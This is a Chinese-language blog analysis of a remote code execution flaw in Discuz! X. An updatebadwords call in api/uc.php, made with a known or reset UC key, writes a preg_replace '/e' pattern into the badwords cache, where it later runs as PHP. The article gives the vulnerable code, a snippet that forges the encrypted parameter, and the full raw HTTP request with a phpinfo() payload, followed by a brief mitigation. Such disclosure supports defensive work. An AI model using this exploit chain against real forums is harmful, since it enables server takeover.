首页 » 漏洞 » Discuz! X系列远程代码执行漏洞分析

Discuz! X系列远程代码执行漏洞分析

 
文章目录

0x00 漏洞概述


上周有一个朋友问我有没有办法在知道uc的appkey的情况下getshell,刚好我在原来看discuz代码时曾经有过几个相关的想法,但是一直没有仔细去看,接着这个机会去看了下,果然有个很好玩的代码执行漏洞。

0x01 漏洞根源


这个问题的根源在于api/uc.php文件中的updatebadwords方法,代码如下:

function updatebadwords($get, $post) {         global $_G;          if(!API_UPDATEBADWORDS) {             return API_RETURN_FORBIDDEN;         }          $data = array();         if(is_array($post)) {             foreach($post as $k => $v) {                 $data['findpattern'][$k] = $v['findpattern'];                 $data['replace'][$k] = $v['replacement'];             }         }         $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';         $fp = fopen($cachefile, 'w');         $s = "<?php/r/n";         $s .= '$_CACHE[/'badwords/'] = '.var_export($data, TRUE).";/r/n";         fwrite($fp, $s);         fclose($fp);          return API_RETURN_SUCCEED;     } 

方法参数中的$get$post就是用户所传入的内容,从上面代码我们可以看出在解析$post内容之后,将其写入到名为badwords的缓存中。这里代码使用了var_export来避免用户传递单引号来封闭之前语句,注入php代码。

但是这里有两个关键词让我眼前一亮“findpattern”和“replacement”,也就是说这个缓存内容是会被作为执行的。那么如果我向findpattern中传入带有e参数的正则表达式,不就可以实现任意代码执行了吗?

0x02 漏洞触发


全局代码搜了下badwords,用的地方比较少,主要集中在uc的pm和user模块中。这里我用user来举例,在uc_client/model/user.php文件中有一个check_usernamecensor方法,来校验用户名中是否有badwords,如果有的话就将他替换掉,代码如下:

function check_usernamecensor($username) {     $_CACHE['badwords'] = $this->base->cache('badwords');     $censorusername = $this->base->get_setting('censorusername');     $censorusername = $censorusername['censorusername'];     $censorexp = '/^('.str_replace(array('//*', "/r/n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';     $usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;     if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {         return FALSE;     } else {         return TRUE;     } } 

可以看到代码中使用了preg_replace,那么如果我们的正则表达式写成“/.*/e",就可以在使用这个方法的地方进行任意代码执行了。而这个方法在disucz中,只要是添加或者修改用户名的地方都会用到。

0x03 漏洞利用


首先我们们访问api/uc.php(居然可以直接访问,好开心),之后我们会发现uc处理机制中比较讨厌的环节——用户传递的参数需要经过UC_KEY加密:

if(!defined('IN_UC')) {     require_once '../source/class/class_core.php';      $discuz = C::app();     $discuz->init();      require DISCUZ_ROOT.'./config/config_ucenter.php';      $get = $post = array();      $code = @$_GET['code'];     parse_str(authcode($code, 'DECODE', UC_KEY), $get); 

所以这里需要有个前提,需要知道UC_KEY或者可以操控UC_KEY。那么问题来了,我们要怎么达到这个前提呢?

我们在后台中站长->UCenter设置中发现有“UCenter 通信密钥”这个字段,这是用于操控discuz和uc连接的app key,而非高级的uc_server key,不过对于我们getshell来说足够了。在这里修改为任意值,这样我们就获取到了加密用的key值了。

Discuz! X系列远程代码执行漏洞分析

从下图我们可以看到,配置文件已经被修改了:

Discuz! X系列远程代码执行漏洞分析

然后我们在自己搭建的discuz的api/uc.php文件中添加两行代码,来加密get请求所需要的内容:

$a = 'time='.time().'&action=updatebadwords';    $code = authcode($a, 'ENCODE', 'tang3');    echo $code;exit; 

这样我们就可以获取到加密后的code值了!

Discuz! X系列远程代码执行漏洞分析

然后用post方法向api/uc.php发送带有正则表达式信息的xml数据包,请求头中有两个地方需要注意,一个是formhash,一个是刚才获取的code需要进行一次url编码,否则解密会出现问题。我使用的数据包如下图所示:

POST /discuzx3.220150602/api/uc.php?formhash=e6d7c425&code=38f8nhcm4VRgdUvoEUoEs/OpuXNJDgh0Qfep%2bT52HDEyTpHnR4PQ80%2be%2bNCyOWI0DMrXizYwbGFcM/J0Y3a8Zc/N HTTP/1.1 Host: 192.168.188.144 Proxy-Connection: keep-alive Content-Length: 178 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://192.168.188.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2415.0 Safari/537.36 Content-Type: text/xml Referer: http://192.168.188.144/discuzx3.220150602/admin.php?action=setting&operation=uc Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Cookie: FPDO_2132_saltkey=Z777zGG4; FPDO_2132_lastvisit=1432691505; FPDO_2132_ulastactivity=5830S8vsYWw6CpVTPpdtOgw6cPIZugHKtMQidjBgfdqDGbQJfSmj; so6a_2132_saltkey=JjZJ2klz; so6a_2132_lastvisit=1433227409; so6a_2132_nofavfid=1; so6a_2132_forum_lastvisit=D_2_1433233630; so6a_2132_visitedfid=2; so6a_2132_editormode_e=1; so6a_2132_smile=1D1; so6a_2132_lastcheckfeed=1%7C1433239071; XDEBUG_SESSION=PHPSTORM; so6a_2132_ulastactivity=5238LLJuvhc%2FhKaXEaIzRYm5hbbEAlOy3RL8Lc92aDETkVQJidZY; so6a_2132_auth=96c9HcEpd8OxPZh6GE5stu4Uov%2BUncVwxWbetMvF%2BFZLNuEVj8VoiFyDMkWkXdQ81eg%2F6522CLnsHbkzv%2Fdu; so6a_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; so6a_2132_creditbase=0D0D10D0D0D0D0D0D0; so6a_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; so6a_2132_checkupgrade=1; so6a_2132_lastact=1433476664%09admin.php%09; so6a_2132_sid=LE2xb1  <?xml version="1.0" encoding="ISO-8859-1"?> <root>     <item id="balabala">         <item id="findpattern">/.*/e</item>         <item id="replacement">phpinfo();</item>     </item> </root> 

发送后可以发现uc_client/data/cache目录下的badwords.php内容变为了我们刚刚设定的正则表达式的样子:

Discuz! X系列远程代码执行漏洞分析

之后利用方法就有很多种了,可以通过增加一个用户来实现代码执行,也可以通过发消息的方式来触发,这里我以添加一个用户为例。

Discuz! X系列远程代码执行漏洞分析

Discuz! X系列远程代码执行漏洞分析

0x04 漏洞总结


漏洞小结

1.影响范围个人评价为“高”,Discuz! X系列cms在国内使用范围极广,几乎所有中小型论坛都是用它搭建的。

2.危害性个人评价为“高”,这个漏洞不只是单纯的后台代码执行,在uc_app key泄露的情况下也是可以利用的,很多转账对于uc_app key重视程度不是很大,所以相对来说危害性还是非常高的。

防护方案

限制用户提交正则表达式的内容,允许提交正则表达式就可以了,就不要让用户提交正则参数了吧。而且纯粹的使用正则表达式替换字符串,str_replace不可以吗?

原文链接:Discuz! X系列远程代码执行漏洞分析,转载请注明来源!

0